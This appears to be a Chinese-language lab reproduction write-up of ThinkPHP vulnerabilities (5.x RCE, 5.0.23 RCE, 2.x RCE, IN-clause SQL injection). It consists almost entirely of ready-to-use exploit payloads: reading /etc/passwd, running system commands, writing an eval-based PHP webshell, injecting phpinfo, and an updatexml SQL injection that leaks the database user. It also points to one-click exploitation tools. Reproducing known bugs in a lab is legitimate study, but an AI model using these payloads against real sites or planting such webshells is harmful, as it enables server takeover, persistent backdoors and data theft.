ThinkPHP 5-Rce
打开就看到thinkphp版本 thinkphpV5
常见的playload 查看passwd
?s=index/\think\Lang/load&file=/etc/passwd
查看当前用户
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
写入后门webshell
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['attack']);?>
其实用thinkphp综合利用的工具会更快利用漏洞 一键监测一键利用
ThinkPHP 5.0.23-Rce
这个版本漏洞可以改变Request类任意方法并构造利用链从而导致远程代码执行漏洞。
启动靶场 又是熟悉的界面
利用的话 改为POST 后面还要接
/index.php?s=captcha
内容利用要用 后面接上了写入一个phpinfo.php
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php info();?>">phpinfo.php
直接thinkphp框架漏洞利用工具使用工具 写入PHPINFO.php
ThinkPHP 2-Rce
该版本感觉和5-RCE差不多 也是通过远程执行恶意代码
打开界面 POC直接在连接后面接上 当然也可以直接写后门进去 但是我懒 主要做复现
?s=/index/index/name/${@phpinfo()}
ThinkPHP IN SQL INJECTION
打开靶场是白茫茫的一片 看了一下这个漏洞好像不允许子查询 也就是说这个就只能看看信息 算一个信息泄露级的漏洞
POC直接回显报敏感信息
?ids[0,updatexml(0,concat(0xa,user()),0)]=1